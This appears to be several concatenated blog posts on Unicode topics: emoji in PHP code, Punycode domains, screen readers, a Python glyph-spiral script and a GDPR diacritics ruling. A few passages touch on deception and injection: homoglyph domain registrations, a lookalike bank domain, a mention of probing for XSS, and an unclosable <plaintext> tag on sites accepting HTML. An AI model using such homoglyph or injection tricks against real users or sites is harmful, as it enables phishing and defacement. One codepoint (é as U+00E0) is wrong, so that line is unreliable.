Here's this post in plain text - https://shkspr.mobi/blog/2025/12/a-small-collection-of-text-only-websites.txt

Obviously a webpage without links is like a fish without a bicycle, but the joy of the web is that there are no gatekeepers. People can try new concepts and, if enough people join in, it becomes normal. I'm not saying the plain-text is the best web experience. But it is an experience. Perfect if you like your browsing fast, simple, and readable. There are no cookie banners, pop-ups, permission prompts, autoplaying videos, or garish colour schemes.

I'm certainly not the first person to do this, so I thought it might be fun to gather a list of websites which you browse in text-only mode. If you know of any more - including your own site - please drop a comment in the box!

• Terence Eden's blog - add .txt to any URl.
• Daring Fireball - add .text to any URl.
• Zach Flowers - replace .html with .txt.
• Fabien Benetou's PIM - add ?action=source to any URl.
• M0YNG - add .txt to any URl.
• Gwern - add .md to any URl or send an HTTP Accept for Markdown.
• Dan Q's textplain.blog - the entire blog is plain text!
• Matt Hobbs - there is a feed of plaintext which allows you to read recent posts.
• Bananas Playground - add index.txt to any post. Also works with index.md.
• Jorvik Systems - change .html to .md for Markdown.
• Max Glenister's blog - add .txt to any post's URl.
• Philipp Dubach's notes - add .txt to any post's URl.
• Derick Rethans' blog - add .txt to any post's URl.
• Ricardson's blog - add .txt to any post's URl.
• elle's blog - text mode only available via curl elle.sh/blog.
• Benji.dog - add .txt to any note's URl.

If you'd like to add a site, please get in touch. The rules are simple - content which has the MIME type of text/plain. No HTML, no multimedia, no RTF, no XML, no ANSI colour escape sequences.

Emoji are fine though; emoji are cool.

As a quick primer, modern computing gives us two main ways of displaying a letter with an accent. The first is simple - encode every single accented letter as a separate "pre-composed" character. So è (U+00E8), é (U+00E0), ê (U+00EA), and ë (U+00EB) are all stored as different codepoints.

But this seems a little inefficient and can make it hard to search through text for an exact lexical match.

So there is a second way to add accents. You take the base character - e (U+0065) - and then apply a separate "combining" accent character to it. For example the combining accent ◌́ (U+0301). That means you can add an accent to áńý ĺét́t́éŕ!́

Note, the accent ◌́ (U+0301) is separate from the character ´ (U+00B4). In fact, most accents have a pre-composed, combining, and separate form. This, understandably, causes much confusion!

Here's a good example. I was reading the excellent Fallen Idols, when I noticed this typesetting bug.

It's always hard to transliterate languages. The Victory Arch in Iraq is known as قوس النصر, and usually written in English as the "Swords of Qādisīyah".

Examining the HTML code in the eBook, it was obvious that the publishers had used a macron ¯ (U+00AF) rather than the combining version ◌̄ (U+0304).

I've reported it to the publisher. I've no idea if they'll fix it in a subsequent re-issue.

<?php
$🍞 = "bread";
echo "Some delicious " . $🍞;

I mean, there's no reason why it shouldn't work. An emoji is just a Unicode character (OK, not just a character - but we'll get on to that), so it should be fine to use anywhere.

Emoji work perfectly well as function names:

function 😺🐶() {
   echo "catdog!";
}
😺🐶();

Definitions:

define( "❓", "huh?" );
echo ❓;

And, well, pretty much everywhere:

class 🦜
{
    public int $🐦;
    public ?string $🦃;

    public function __construct(int $🐦, ?string $🦃)
    {
        $this->🐦 = $🐦;
        $this->🦃 = $🦃;
    }
}
$🐓 = new 🦜(1234, "birb");
echo $🐓->🐦;

How about namespaces? Yup!

namespace 😜;
class 😉 {
    public function 😘() {
        echo "Wink!";
    }
}

use 😜\😉;
$😊 = new 😉();
$😊->😘();

Even moderately complex Unicode sequences work:

echo <<<🏳️‍🌈
Unicode is magic!
🏳️‍🌈;

I've written before about the Quirks and Limitations of Emoji Flags. The humble 🏳️‍🌈 is actually the sequence U+1F3F3 (white flag), U+FE0F (Variation Selector 16), U+200D (Zero Width Joiner), U+1F308 (Rainbow).

Take a complex emoji like "Female Astronaut with Medium Dark Skin Tone" - 🧑🏾‍🚀 - that also works!

$🧑🏾‍🚀 = 1;
$👷🏻‍♂️ = 2;
echo $🧑🏾‍🚀 + $👷🏻‍♂️;

Probable the most complex emoji has 10 different codepoints! It looks like this - 🧑🏾‍❤️‍💋‍🧑🏻

And it works!

$🧑🏾‍❤️‍💋‍🧑🏻 = "Kiss Kiss. Bang Bang!";
echo $🧑🏾‍❤️‍💋‍🧑🏻[-1];

There are some emoji which don't work;

$5️⃣ = "five";

The 5️⃣ emoji is U+0035 (Digit Five), U+FE0F (Variation Selector 16), U+20E3 (Combining Enclosing Keycap). PHP doesn't allow variables to start with digits, so it craps out with PHP Parse error: syntax error, unexpected integer "5", expecting variable or "{" or "$" in php shell code on line 1

You also can't use "punctuation" emoji as though they were normal characters:

echo 5 ❗= 6;

And, while not strictly emoji, you can't use mathematical symbols:

echo 5 ≤ 6;

So, there you have it. Is this useful? Well, probably. It is easy to get lost in a sea of text - so little pictograms can make it easier to see what you're doing. If the basic ASCII characters aren't part of your native language, perhaps it is useful to make use of the full range of Unicode.

Does your favourite programming language support Emoji?

It seems bizarre to me that modern Internet services sometimes "forget" that there's a world outside the Anglosphere. Some people have the temerity to speak foreign languages! And some of those languages have accents on their letters!! Even worse, some don't use English letters at all!!!

A decade ago, I was miffed that GitHub only supported some ASCII characters in its project names. There's no technical reason why your repo can't be called "ഹലോ വേൾഡ്".

Similarly, I'm frustrated that Mastodon (the largest ActivityPub service) doesn't allow Unicode usernames and has resisted efforts to change.

So I built a small ActivityPub server which publishes content from an Actor called @你好@i18n.viii.fi - it is only a demo account, but it works!

Some ActivityPub clients report that they are able to follow it and receive messages from it. Others - like Mastodon - simply can't see anything from it. Take a look at the replies on Mastodon to see which services work. You can also see some of its posts on the Fediverse.

What Does The Fox Spec Say?

The ActivityPub specification says:

Building an international base of users is important in a federated network. Internationalization

I can't find anything in the specifications which limits what languages a username can be written in. But there are a few clues scattered about.

The user's @ name is defined by preferredUsername which is:

A short username which may be used to refer to the actor, with no uniqueness guarantees. 4.1 Actor objects

There's nothing in there about what scripts it can contain. However, later on, the spec says:

Properties containing natural language values, such as name, preferredUsername, or summary, make use of natural language support defined in ActivityStreams. 4. Actors

So it is expected that a preferred username could be written in multiple scripts. Which implies that the default need not be limited to A-Z0-9.

The ActivityStreams specification talks about language mapping.

Finally, the ActivityPub specification has some examples on non-Latin text in names.

So, I think that it is acceptable for usernames to be written in a variety of non-Latin scripts.

But What About...?

There are usually a few objections to "Unicode Everywhere" zealots like me. I'd like to forestall any arguments.

What about homograph attacks?

Well, what about them? ASCII has plenty of similar looking characters. I doubt most people would notice when a capital i is replaced by a lower L - and vice-versa. Similarly the kerning issue of an r and n looking like an m is well known. Are mixed language homographs more dangerous? I don't think so.

What if people make names that can't be typed?

Well, what if they do? Maybe not being found by people who can't type your language is a feature, not a bug. But, anyway, clients can let users search for other people, or copy and paste their names.

What about weird "Zalgo" text?

It is up to a client to decide how they want to render text input. The "problems" of strange Unicode combinations are well known. This is not a hard computer-science problem.

What about bi-directional text?

The spec makes clear this is allowed.

Do people even want a username in their own script?

I have no evidence for this. But I bet you'd get pretty frustrated if you had to switch keyboard just to type your own name, wouldn't you? In any case, why can't I have a username of @😉

What's Next?

If you build ActivityPub software, give some thought to the billions of people who don't have names which easily fit into ASCII.

If your software can see @你好@i18n.viii.fi and its posts, please let me know.

But if you read closely, you'll see there are a few instances where an errant question-mark pops up:

From context, it is pretty clear the word should be "flour" but is rendered as "?our" - why is that?

The original PDF judgement can be downloaded from the official Tribunals website (an ancient service which is long overdue for an update).

If you search the PDF the word "flour" and select it, notice what happens:

Looking at the metadata of the PDF, it appears the file was created with Office 365 which has "helpfully" used a typographic ligature - "fl".

Ligatures are handy for displaying characters in a pleasing manner - but they can really confuse some software.

One way to deal with this is to use a process called "Unicode Normalisation". It is rather dull and technical, but there are plenty of libraries which will split these characters.

Here's how it works for the "fi" ligature:

There are a few issues here.

Firstly, Office 365 should not be using Unicode ligatures. The text should have the letters "f" and "l" but it is the font which should display as a ligature.

Secondly, Bailii's processing of the PDF should either cope with normalisation or it should throw loud and explicit warnings when it runs into something it doesn't understand.

Thirdly, as well as Bailii and the Tribunal Service, the PDF is also available at the more modern Case Law service from The National Archive. Their HTML and PDF documents also have the ligatures, but have subtly different layouts because they have been re-rendered with LibreOffice 7.2.

I've reported the issue to Bailii via their contact form. I've also raised a bug with The National Archive.

And now I'm off to enjoy some tasty potato-based snacks which have been assessed at the correct level of tax!

"In Hamlet, Act Ⅳ, Scene Ⅸ..."

Most people with a grasp of the interplay between English and Latin would say "In Hamlet, Act four, scene nine". And they'd be right! But screen-readers - computer programs which convert text into speech - often get this wrong.

Why? Well, because I didn't just type "Uppercase Letter i, Uppercase Letter v". Instead, I used the Unicode symbol for the Roman numeral 4 - Ⅳ. And, it turns out, lots of screen-readers have a problem with those characters.

Don't Know Much About History

Unicode contains the range of Roman numbers from 1 - 10, plus a couple of compound numbers, 50, 100, 500, and 1000 - in a variety of forms.

Why does Unicode contain these number which, to most people, are just squashed together Latin letter? As ever with Unicode, it is a mix of legacy and practicality.

The Unicode standard says:

Roman Numerals. For most purposes, it is preferable to compose the Roman numerals from sequences of the appropriate Latin letters. However, the uppercase and lowercase variants of the Roman numerals through 12, plus L, C, D, and M, have been encoded for compatibility with East Asian standards. Unlike sequences of Latin letters, these symbols remain upright in vertical layout. Additionally, in certain locales, compact date formats use Roman numerals for the month, but may expect the use of a single character.

Far be it for me to disagree with the learned authors of the spec, but I think they may have erred slightly on this one. While it may be preferable to re-use Latin letters, it leads to ambiguity which can be confusing for a screen-reader.

Practical Examples

Let's write out the numbers using regular letters. Suppose you were talking about "Romeo and Juliet, Act III, Scene I". Most screen readers will see the "III" and correctly speak aloud "Roman three" or similar. But when they get to the "I" it becomes ambiguous. Most will read out "Eye".

Screen-readers rarely look at the whole sentence for context. Which means they get confused. It's fairly obvious that XIV should be "fourteen" as there's no English word "xiv"⁰. But what about "MIX" - is that 1009 or the word "mix"?

Anyone who has watched the BBC knows about their fondness for displaying in Latin the year a programme was made. MCMXCVI is particularly challenging for a screen-reader!

Testing It

I took the following sample sentence - using both letters and Roman numerals.

Text. In Hamlet, Act I, Scene XI the year is MCMXCVI and they are watching Rocky V.

Roman. In Hamlet, Act Ⅰ, Scene Ⅺ the year is ⅯⅭⅯⅩⅭⅥ and they are watching Rocky Ⅴ.

Here's how various services coped:

Amazon Polly

First, the good news. Amazon's Polly read the Roman numerals perfectly. It even pronounced ⅯⅭⅯⅩⅭⅥ as "nineteen ninety six".

Microsoft Edge Read Aloud

I tried with Microsoft Edge's Read Aloud TTS.

It and makes a bit of a hash of the English and just skips the Roman numerals.

Google Text To Speech

The same was also true with Google's TTS products.

Espeak NG

The venerable Linux utility came out with this.

It gets the "Capital i" incorrect, and reads the Roman numerals as their Unicode code points.

Jaws

My good friend Léonie Watson who writes extensively about accessibility was kind enough to record some other samples for me.

Here are Jaws' "Expressive":

And Jaws' "Eloquence:

NVDA

Léonie also provided a recording of NVDA Microsoft One Core

Narrator

And here's Narrator making a right mess of it.

Others

If you know of any other screen-readers, or text-to-speech engines which can cope with this, please let me know!

Fixing it

On Linux, I raised a Pull Request to fix espeak-ng.

The rest of the services don't seem to have a way to easily report bugs to them. If you know a way to raise issues with these screen readers - please do so!

The obvious answer is that the humble keyboard usually only has around 100 keys - and most humans have a hard time remembering where thousands of alternate characters are.

Some programming fonts attempt to get around this with ligatures. That allows the user to type <= but have the font display ≤

Are there any modern programming languages which allow the use of semantically correct Unicode symbols as operators?

As far as I can tell, there's only one!

Scala

Here's a trivial example which creates the ÷ operator:

case class A(v: Float) {
  def ÷(b: A): A = A(v / b.v)
}
val a = A(9)
val b = A(5)
a ÷ b

According to the Scala reference documentation, valid characters for operators include "Unicode categories Sm, So".

That's "Symbols, maths" and "Symbols, others". That covers quite a lot of useful symbols. Including some Emoji! So you could have ☺ as an operator.

Try it in your browser.

Others

I took a quick scan through some other modern languages:

• Ruby
  • Ruby has a Unicode Math gem which lets you write code like ∛ 27. But, as far as I can tell, there's no way to create your own operators.
• Haskell
  • There's an extension for some Unicode characters. But there's not many there and no way to create new ones.
• Python
  • Nope. There's no way to create your own operators. And function names can only contain a subset of Unicode.
• C++
  • Nope. You can overload existing operators but cannot define your own.
• Go
  • No.
• Rust
  • Also no.
• Java
  • Nuh-uh.
• Javascript
  • WAT.

In fact, according to the inimitable Xah Lee the only other languages which allow user-defined Unicode operators are Julia and Wolfram.

Julia, I had some difficulty with, but this works:

☺(x)=sqrt(x)
print(☺(25))

÷(x,y)=x/y
print(25 ÷ 6)

I am, sadly, not clever enough to even understand the documentation for the Wolfram language.

What next?

Obviously I am now a convert to Scala and will henceforth rewrite all my code in it using multiple Unicode symbols.

But, more practically, I wonder if there's demand for a (new) programming language which treats Unicode operators a first class citizens? Or perhaps future versions of your favourite language should embrace the loving warmth of the Unicode consortium?

Thoughts?

While browsing Mastodon late one night, I came across this excellent blog post called HTML is all you need to make a website. It describes a few websites which are pure HTML. No CSS and no JS.

And I thought… do you even need HTML to make a website?

A few hours later, I launched the NO-HT.ML website. Proving, once and for all, that you don't need HTML to make a beautiful⁰ responsive¹, and useful² website which everyone will love³.

Go take a look and marvel at its magnificence - then come back here to discuss its profound importance.

How it works

If you look at the source code, you'll see it uses a tiny scrap of (mostly) invalid markup to kick things off.

<!doctype UNICODE> is a fake doctype. But it seems to be needed to convince some browsers into attempting to render the document.

<meta charset="UTF-8"> is real. Without this, text encoding sniffing takes places and some browsers just displayed rubbish.

<plaintext> is also a real HTML element. It was deprecated in HTML 2 back in the mid-1990s. What's particularly interesting is that the element cannot be closed. If you manage to find a website which lets you post HTML, that can be particularly fun!

From there, the page starts with some ASCII art. There are loads of text generators around. I remember when it used to take hours to hand-draw things like that.

Next is a bunch of Unicode abuse. There are loads of "letter-like" shapes. They're included for compatibility with rendering mathematical and scientific documents. There are also lots of punctuation marks - like bullets.

ASCII tables and flowcharts are pretty commonplace, although they sometimes go a bit wonky with non-fixed width characters.

And then, finally, the Arecibo message using the Geometric Shapes Extended Block.

Is this useful?

I've been reading "Reality is Broken" a book all about game design. In it, I found this quote:

Playing a game is the voluntary attempt to overcome unnecessary obstacles⁴.

It can be fun to give yourself arbitrary restrictions. In programming, there's a game called Code Golf - where players compete to solve a coding challenge in the fewest number of characters.

That's what's going on here. People are playing a game - the rules of which are "Do normal thing X without using normal thing Y".

I encourage all of you to play games. Go use your imagination to build something in a ridiculously restricted way. What do the constraints do to the way you express yourself? What sense of satisfaction do you get from successfully creating something in an impossible manner? What will you learn from experimentation?

But, above all, have fun and show off your beautiful messes.

And that got me wondering… what other abuses of the Punycode algorithm can I whack into DNS? Well, here's some I whipped up using FreeNom - they offer free domain names on the .ga TLD (and a few others) and are very liberal in accepting Punycode domains.

There's millions of domains all under one roof

For some reason, the children's retailer "Toys 'R' Us" uses a backwards R in their logo. Presumably because they think kids are stupid and don't know how to form letters.

Or, maybe they're big fans of the reversed letter ᴙ? Either way, Punycode supports that!

I present to you:

https://ToysᴙUs.ga/

Yup! Copy and paste that and it'll work. Webkit based browsers should show the ᴙ in the URl bar - others might show Punycode.

NB: This is not the Cyrillic ya - it is, instead, a homoglyph.

Touch a Touch a Touch a Touch Me

I think this is the world's first domain name written in Braille.

https://⠠⠃⠗⠇.ga

That uses Unified English Braille - with a Grade Two contraction.

Interestingly, I couldn't get any browser to display Braille in the URl bar. The other domains on this page work - but this one just gave the Punycode representation xn--9iii1c8a.ga

These domains go up to 11

Without a doubt, the loudest band in rock and/or roll are the legendary "Spın̈al Tap" - note the dotless I and the heavy-metal umlaut over the N.

Again, Punycode supports that!

https://Spın̈alTap.ga/

Interestingly, this was the only domain that Firefox displayed without converting to Punycode.

Some kind of Einstein

This one combines another trick. As I pointed out in my post about buying a single character domain name, we can abuse Unicode normalisation in our domain names. So the Unicode Superscript block gets automatically converted to regular text.

This means we can have a domain of:

https://e꞊mc².ga/

The "equals" is really "modifier letter short equals sign (U+A78A)" which, surprisingly, doesn't undergo normalisation.

What didn't work

It's always good to share the experiments which didn't produce anything useful. Negative results are results too!

• Zalgo Text doesn't work.
• 🂡 and other playing cards don't work.
• I figured trying to use something like xn--hsbccom-oy9d61a would probably get me banned from the Internet pretty quickly!
• This didn't open up a portal to the Dark Dimension from which all madness stems. Oh well.

Up next?

If you manage to generate any weird and wonderful domain names, please leave a comment.

Like all good geeks, I have far too many domain names that I acquired for interesting projects which never took off. My latest is a bit different though.

https://⏻.ga/🔗

That's "Unicode Power Symbol Dot Gabon". Because why not.

Regular readers will know that I helped get ⏻ and several power symbols into Unicode. When I do talks about this, I usually refer to them as Emoji because, to most people, Emoji are simply little pictures in text. But that is a gross oversimplification. You know the meme that real Champagne must be from the Champagne region of France - otherwise it is merely sparkling wine? Well, Emoji must come from the Supplementary Multilingual Plane of Unicode otherwise they're just ✨sparkling✨ characters.

Except... That's not quite true. There are a bunch of symbols stuffed in the Miscellaneous block of the Basic Multilingual Plane which are also Emoji.

The Power Symbol appears in the block Miscellaneous Technical. The symbol itself is not an Emoji, but it is in a block which has 18 Emoji. Confused? Good⁰!

Domain names can only contain the ASCII characters A-Z, 0-9, and -. That's a problem if you speak anything other than basic English. Luckily, there's a workaround! I have a Chinese language domain 莎士比亚.org - through the magic of the Punycode Algorithm, it becomes xn--jlq54w7ypemw.org. This use of non-Latin letters in domains is known as IDN - Internationalised¹ Domain Names.

IDNs have several officially supported "scripts" - for example Thai, Greek, Hebrew, Cyrillic, Chinese etc. Each top level domain (like .uk, .com, .中国) can choose which scripts they'll accept. For example, a Chinese Top Level Domain may only accept Chinese characters and not Greek characters. IANA maintains a list of which domains support which scripts. But it is incomplete. Because it doesn't mention Emoji.

The Punycode algorithm works with emoji. This means you can have Emoji in domain names! Mostly. And that "mostly" is important.

Not every Top Level Domain accepts Emoji domain names (because they hate having fun, I guess?²)

The .ga registry doesn't publish any rules showing which scripts it will accept³. But seems quite happy to take registrations for Punycode domains. So I registered https://xn--soh.ga/ and, after an unusually long delay, it worked!

Does this mean ⏻.ga is an Emoji domain? No! ⏻ is not an Emoji! It is a small pictographic symbol encoded in Unicode.

Does this mean ⏻.ga is an IDN? No! ⏻ is not an international script. It is a language-neutral technical symbol.

So what the fuck kind of domain is it?

Drop an answer in the box bellow.

Zoom in for the massiveness. It's a 10,000x10,000px image. Because the Unifont displays individual characters in a 16x16px square, it is quite legible even when printed out on a domestic laser printer at 600dpi:

Terence Eden is on Mastodon

@edent

Replying to @edentStill a Work In Progress.
Created a proper spiral of every Unicode character in the Unifont.
At 600dpi, it is *just about* legible.
The full thing would need to be printed on A2 sized paper! pic.x.com/jsrofjt4xd

---

I also made it as a square spiral - which fits into a smaller space.

Again, printed out at 600dpi it is readable. Just!

Terence Eden is on Mastodon

@edent

Replying to @edentPrinted out on A4 @ 600dpi.
Amazingly, it is just about legible!
Still a bit more work to do, but quite pleased with the results so far. pic.x.com/d5kwfwhq27

---

Printed onto A0 - 841mm square - it's a bit better. The ASCII set is readable:

But characters in CJK weren't particularly legible:

If I wanted the 16px symbols to each be 5mm wide, I'd need to print this on paper over 3 metres wide!

WHY??!?

Because visualising one-dimensional data structures in two-dimensional space is fun! That's why 😃

I was inspired by seeing two lovely piece of artwork recently.

The first was 2015's Unicode in a spiral by Reddit user cormullion. (Click to embiggen.)

It's gorgeous, but doesn't include all characters. Oh, and you also have to rotate your head to read each character.

There's a larger version which covers a lot more of the Basic Multilingual Plane It's an 18MB PDF. And, because of the resolution of the resolution of the font, it needs to be printed out on a 1 metre square at a minimum.

The second interesting thing I found was a 2016 Hilbert Curve of Unicode:

smly

@smly

UNICODE in the picture frame. The placement of characters along the Hilbert curve is beautiful. Original: github.com/hakatashi/unic… pic.x.com/f69hwyzlvc

---

The Hilbert Curve poster is beautiful. But it only goes up to Unicode 10 - and we're on Unicode 14 by now. Despite the æsthetically pleasing nature of fractal curves, I find them quite un-intuitive.

Neither show off the gaps in Unicode. That is, where there is space to fit more symbols.

So I wanted to do something which satisfied these criteria:

• Contained all of Unicode 14
• Was legible at a small size
• Showed spaces where there are empty sections
• Readable without tilting one's head
• Slightly more visually interesting than a grid

HOW?!?!

I've written before about the wonders of the Unifont. It contains all of the Unicode 14 glyphs - each squeezed down into a 16x16px box. Even emoji!

Well. Mostly…

Limitations

Although I wanted every character, there are some practical problem. Firstly:

Unifont only stores one glyph per printable Unicode code point. This means that complex scripts with special forms for letter combinations including consonant combinations and floating vowel marks such as with Indic scripts (Devanagari, Bengali, Tamil, etc.) or letters that change shape depending upon their position in a word (Indic and Arabic scripts) will not render well in Unifont.

So there are some scripts which will look a bit ugly. And some characters which won't be well represented.

The second issue is one of size. Some of the newer characters are simply too big:

Scripts such as Cuneiform, Egyptian Hieroglyphs, and Bamum Supplement will not be drawn on a 16-by-16 pixel grid. There are plans to draw these scripts on a 32-by-32 pixel grid in the future.

That means it misses out on characters like 𒀰, 𒁏 and, of course, 𒀱. Which, to be fair, would be hard to squeeze in!

The third problem is that Unicode is updating all the time. Although the Unifont is at Version 14 - Python's Unicode Database is stuck at V13. Luckily, there is a library called UnicodeData2 which includes V14.

But, given those limitations, I thought it was possible to craft something nice.

Python Code

I split the problem into several parts.

Plotting equidistant points along a spiral

As ever, I turned to StackOverflow and found a neat little solution:

def spiral_points(arc=1, separation=1):
    #   Adapted from https://stackoverflow.com/a/27528612/1127699
    """generate points on an Archimedes' spiral with `arc` giving the length of arc between two points and `separation` giving the distance between consecutive turnings
    - approximate arc length with circle arc at given distance
    - use a spiral equation r = b * phi
    """
    def polar_to_cartesian(r, phi):
        return ( round( r * math.cos(phi) ),
                 round( r * math.sin(phi) )
               )

    # yield a point at origin
    yield (0, 0)

    # initialize the next point in the required distance
    r = arc
    b = separation / (2 * math.pi)
    # find the first phi to satisfy distance of `arc` to the second point
    phi = float(r) / b
    while True:
        yield polar_to_cartesian(r, phi)
        # advance the variables
        # calculate phi that will give desired arc length at current radius (approximating with circle)
        phi += float(arc) / r
        r = b * phi

Drawing a squaril

I wanted a grid which looked like this:

9 A B
8 1 2
7 0 3
6 5 4

I found a blog post and source code for a spiral array. It's pretty simple - although I'm sure there's lots of ways to do this:

n = 12
nested_list= [[0 for i in range(n)] for j in range(n)]
low=0
high=n-1
x=1
levels=int((n+1)/2)
for level in range(levels):
    for i in range(low,high+1):
        nested_list[level][i]= x
        x+=1

    for i in range(low+1,high+1):
        nested_list[i][high]= x
        x+=1

    for i in range(high-1,low-1,-1):
        nested_list[high][i]= x
        x+=1

    for i in range(high-1,low,-1):
        nested_list[i][low]= x
        x+=1

    low+=1
    high-=1

for i in range(n):
    for j in range(n):
        print(nested_list[i][j],end="\t")# print the row elements with
        # a tab space after each element
    print()# Print in new line after each row

However, that printed the spiral backwards:

B A 9
2 1 8
3 0 7
4 5 6

Luckily, Python makes it easy to reverse lists:

for l in nested_list :
    l.reverse()

Drawing the characters

Turning a number into a Unicode character is as simple as:

unicode_character = chr(character_int)

But how do we know if the font contains that character? I stole some code from StackOverflow which uses the FontTools library:

from fontTools.ttLib import TTFont
font = TTFont(fontpath)   # specify the path to the font in question

def char_in_font(unicode_char, font):
    for cmap in font['cmap'].tables:
        if cmap.isUnicode():
            if ord(unicode_char) in cmap.cmap:
                return True
    return False

But, of course, it is a bit more complicated than that. The Unifont contains some placeholder glyphs - the little black square with hex digits in them that you see here:

I didn't want to draw them. But they exist in the font. So how do I skip them?

Using the Python Unicode Database it's possible to look up the name of a Unicode code-point. e.g. chr(65) is LATIN CAPITAL LETTER A. So if there is no name in the database, skip that character.

But, of course, it is a bit more complicated than that! The Unicode database only goes up to Unicode 13. And, for some reason, the control characters don't have names. So the code becomes a tangled mess of if...else statements. Ah well!

Drawing the characters should have been easy. I was using Pillow to draw text. But, despite the pixely nature of the font itself Pillow was performing anti-aliasing - creating unwanted grey subpixels.

I thought the fix was simple:

jonodrew@mastodon.social

@jonodrew

Replying to @xandypty@xandypty @edent draw = ImageDraw.Draw(image)
draw.fontmode = '1'
...

---

Sadly, that does introduce some other artefacts - so I've raised a bug with Pillow.

In the end, I kept the anti-aliasing, but then converted the grey pixels to black. And then converted the entire image to monochrome:

threshold = 191
image = image.point(lambda p: p > threshold and 255)
image = image.convert('1')

Putting It All Together

Once I'd go the co-ordinates for either the spiral or squaril, I drew the character on the canvas:

draw.text(
   (x , y),
   unicode_character,
   font=font,
   fill=font_colour)

Except it didn't work!

Sadly, Pillow can't draw non-printable glyphs - even when the font contains something drawable. This is because it can't pass the correct options to the harfbuzz library.

So, I went oldskool! I converted every glyph in the font to a PNG and saved them to disk.

from fontforge import *

font = open("unifont_upper-14.0.04.ttf")

for i in range( len(font) ) :
    try:
        font[i].export( "pngs/" + str(i) + ".png", pixelsize=16, bitdepth=1)
    except Exception as e:
        print ( str(i) )
        print ( e )

Look, if it's hacky but it works; it isn't hacky! Right?

From there, it's a case of opening the .png and pasting it onto the canvas:

character_png = Image.open('pngs/' + str(character_int) + ".png")
image.paste( character_png, (round(x) , round(y)) )

It was too big!

And now we hit the final problem. The image was over 20,000 pixels wide. Why? The Variation Selectors! The last of which is at position U+E01EF. Which means the spiral looks like this:

Here they are in close up:

So I decided to remove that block!

Source Code

All the code is on GitLab. Because GitHub is so 2019…

Licensing?

The GNU Unifont has a dual licence. GPL2 and OFL. The image is a "document" for the purposes of the OFL and the GPL font exemption. But, I guess you could reverse engineer a font-file from it. So, if you use the image to generate a font, please consider that it inherits the original licence. If you just want to print it out, or use it as art, then the image itself is CC BY-SA.

This is based on my lay-person's understanding of the various copyleft licence compatibility issues. Corrections and clarifications welcome!

What's next?

I would like to print this out on paper. At 200dpi, it would be about 1.5m squared. Which I guess is possible, but might be expensive.

At 600dpi, the square will just about fit on A3 paper. But the quality is atrocious. Even at A0 it wasn't great. Realistically, it needs to be at least 3.3 metres along each side! No idea where I can find a printer which will do that. Or where in my house I'd have space for it!

Of course, it will need updating whenever there is a new release of either Unicode or Unifont.

If you have any suggestions or feedback - please drop them in the comment box!

As part of onboarding, it asked me to create a profile name. This is typically done so that multi-user households can have separate profiles and preferences. Mum doesn't have her princess stories disrupting Dad's suggestions. And Junior doesn't see what filth their parents are watching late at night. All the better to build up detailed tracking profiles on you, my dear!

Naturally, my first thought was to see if this was exploitable in the form of a self reflected XSS. It was not. In fact, it didn't let any character though which wasn't A-Z and 0-9. To my surprise, it also allowed spaces. So no accents, apostrophes, macrons, or other pesky "foreign" characters.

Including, amusingly, the names of several Disney characters.

OK, that's a bit daft. But it's also needlessly exclusionary. Every class at school has a kid who has to fight for their right to have their name spelled correctly. There are plenty of blended families with hyphenated surnames. Not everyone in the UK speaks a Latin-derived language.

It is technologically illiterate to restrict profile names like this.

The Court of Appeal of Brussels has made an interesting ruling. A customer complained that their bank was spelling the customer's name incorrectly. The bank didn't have support for diacritical marks. Things like á, è, ô, ü, ç etc. Those accents are common in many languages. So it was a little surprising that the bank didn't support them.

The bank refused to spell their customer's name correctly, so the customer raised a GDPR complaint under Article 16.

The data subject shall have the right to obtain from the controller without undue delay the rectification of inaccurate personal data concerning him or her.

Cue much legal back and forth. The bank argued that they simply couldn't support diacritics due to their technology stack. Here's their argument (in Dutch - my translation follows)

Bank X also explained that the current customer data management application was launched in 1995 and is still running on a US manufactured mainframe system. This system only supported EBCDIC ("extended binary-coded decimal interchange code"). This is an 8-bit standard for storing letters and punctuation marks, developed in 1963-1964 by IBM for their mainframes and AS/400 computers. The code comes from of the use of punch cards and only contains the following characters…

(Emphasis added.)

EBCDIC is an ancient (and much hated) "standard" which should have been fired into the sun a long time ago. It baffles me that it was still being used in 1995 - let alone today.

Look, I'm not a lawyer (sorry mum!) so I've no idea whether this sort of ruling has any impact outside of this specific case. But, a decade after the seminal Falsehoods Programmers Believe About Names essay - we shouldn't tolerate these sorts of flaws.

Unicode - encoded as UTF-8 - just works. Yes, I'm sure there are some edge-cases. But if you can't properly store human names in their native language, you're opening yourself up to a lawsuit.

Source

GDPRhub - 2019/AR/1006

Dance

Reactions

Marie ʕʘᴥʘʔ Julien

@mariejulien

Très intéressant !

Terence Eden is on Mastodon

@edent

This is interesting.
A bank claimed it couldn't use diacritics in a customer's name due to technical limitations.
Customer sued… and won!
Your name is personal data, and GDPR says it should be recorded accurately.

---

---

Grumpy Nat 🇨🇭🇧🇷🇲🇫

@Nat_Keely

Hâte de mettre en justice tous les sites et autres compagnies qui ont décidé que le fait que j'ai un accent dans mon nom de famille soit source de bug (avec évidemment un message d'erreur qui n'a rien à voir. Histoire de bien pas comprendre pourquoi ça marche pas)

Terence Eden is on Mastodon

@edent

This is interesting.
A bank claimed it couldn't use diacritics in a customer's name due to technical limitations.
Customer sued… and won!
Your name is personal data, and GDPR says it should be recorded accurately.

---

---

Lays Y. M. Farra

@LYMFHSR

La France va sortir de l'UE juste pour que leur état-civil et autres administrations puissent continuer à ruiner la vie de quelqu'un parce qu'il a un tilde dans son nom

Terence Eden is on Mastodon

@edent

This is interesting.
A bank claimed it couldn't use diacritics in a customer's name due to technical limitations.
Customer sued… and won!
Your name is personal data, and GDPR says it should be recorded accurately.

---

---

KristoferA 🌏

@KristoferA

Does this mean that Z̷̡̧̢̰͓̪͖̭͙̰̣̱̬̹̙̜̪̣̏̿̏̋͑́̒͑́̒̿̇̈̍̇̌͝͝a̵̡̧͍̘̮̤̙̹͙̦̙͙͖͓̥̟̦͔͒̇̊̊̔̓́͒́̌̈́̑͋̏̏̏̚͘͝͠͝l̶͉̯̱͇̭̭̉̉̈́̿͐̽̒̎̽͌̚͜ģ̸̧̛͙̩̹̰̤̱̖̘̻̪̻̮̫̟̙̲͍̰̻͕̗̫̿̆̃́͗̽̊̽̌̔̂͂̈͊̐̈́̈̈́̈̓̆͌̑́̕͜ǫ̶̢̹̥̮̟͍̔̑̔̽ can finally open a bank account?

Terence Eden is on Mastodon

@edent

This is interesting.
A bank claimed it couldn't use diacritics in a customer's name due to technical limitations.
Customer sued… and won!
Your name is personal data, and GDPR says it should be recorded accurately.

---

---

Bastien Nocera

@hadessuk

Next up, I’m suing La Poste for still using ISO-8859-1 when printing labels. Poor “Frédéric” I recently sent a game to…

Terence Eden is on Mastodon

@edent

